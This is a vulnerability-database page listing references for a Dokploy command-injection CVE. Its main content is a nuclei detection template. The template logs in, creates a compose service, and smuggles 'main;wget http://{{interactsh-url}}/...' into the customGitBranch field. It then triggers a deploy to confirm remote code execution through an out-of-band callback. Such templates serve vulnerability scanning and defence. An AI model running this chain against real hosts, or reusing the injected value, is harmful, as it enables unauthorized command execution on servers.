Lucene search
+L

Dokploy <= 0.29.12 - Authenticated RCE via Command Injection

🗓️ 21 Oct 2026 02:06:20Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 2 Views

Authenticated RCE in Dokploy via command injection in the customGitBranch field.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-72867
20 Oct 202621:56
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-72867
21 Oct 202608:11
–githubexploit
attackerkb
attackerkb
CVE-2026-72867
10 Aug 202618:36
–attackerkb
circl
Circl
CVE-2026-72867
10 Aug 202619:32
–circl
cve
CVE
CVE-2026-72867
10 Aug 202618:36
–cve
cvelist
Cvelist
CVE-2026-72867 Dokploy: Incomplete fix of CVE-2026-45628: Command Injection via Unvalidated Branch Fields in Compose Deployment Pipeline (server-side regex missing in compose.ts)
10 Aug 202618:36
–cvelist
euvd
EUVD
EUVD-2026-55725
10 Aug 202618:36
–euvd
mend
Mend
CVE-2026-72867
10 Aug 202618:36
–mend
nvd
NVD
CVE-2026-72867
10 Aug 202619:17
–nvd
ptsecurity
Positive Technologies
PT-2026-69908
10 Aug 202600:00
–ptsecurity
Rows per page
id: CVE-2026-72867

info:
  name: Dokploy <= 0.29.12 - Authenticated RCE via Command Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    Dokploy <= 0.29.12 is vulnerable to authenticated OS command injection through the customGitBranch field of a compose service. The value is concatenated unsanitized into git clone --branch <customGitBranch> ... and executed via /bin/sh during deploy (packages/server/src/utils/providers/git.ts -> child_process.exec). An authenticated user can inject shell metacharacters to achieve remote code execution on the Dokploy host.
  impact: |
    Low-privileged authenticated users can execute arbitrary commands on the host, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 0.29.13 or later.
  reference:
    - https://lulztigre.pw/posts/dokploy-cve-2026-72867-working-poc.html
    - https://nvd.nist.gov/vuln/detail/CVE-2026-72867
    - https://github.com/dokploy/dokploy
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-72867
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 5
    vendor: dokploy
    product: dokploy
    shodan-query: html:"Dokploy"
  tags: cve,cve2026,dokploy,rce,authenticated,oast,intrusive,oob

variables:
  rnd: "{{rand_base(8)}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        POST /api/auth/sign-in/email HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{email}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

    extractors:
      - type: regex
        name: session_cookie
        part: header
        group: 1
        regex:
          - "(?i)Set-Cookie:\\s*(better-auth[^=]*=[^;\\s]+)"
        internal: true

  - raw:
      - |
        POST /api/trpc/project.create?batch=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Cookie: {{session_cookie}}

        {"0":{"json":{"name":"p{{rnd}}","description":""}}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "projectId")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: json
        name: environment_id
        internal: true
        part: body
        json:
          - '.[0].result.data.json.environment.environmentId'

  - raw:
      - |
        POST /api/trpc/compose.create?batch=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Cookie: {{session_cookie}}

        {"0":{"json":{"name":"c{{rnd}}","environmentId":"{{environment_id}}"}}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "composeId")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: json
        name: compose_id
        internal: true
        part: body
        json:
          - '.[0].result.data.json.composeId'

  - raw:
      - |
        POST /api/trpc/compose.update?batch=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Cookie: {{session_cookie}}

        {"0":{"json":{"composeId":"{{compose_id}}","sourceType":"git","customGitUrl":"https://github.com/dokploy/dokploy.git","customGitBranch":"main;wget http://{{interactsh-url}}/{{rnd}};echo "}}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "customGitBranch")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/trpc/compose.deploy?batch=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Cookie: {{session_cookie}}

        {"0":{"json":{"composeId":"{{compose_id}}"}}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(interactsh_protocol, "http", "dns")'
# digest: 490a0046304402207915a3641d3f8c2644471e19462770b777703914a00936f93e7de3e03f88bc81022079c80c44d60120625f6a886809ac60b333286ce4dcaeb0bc2410087427780ae6:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Oct 2026 00:54Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.9
EPSS0.00954
2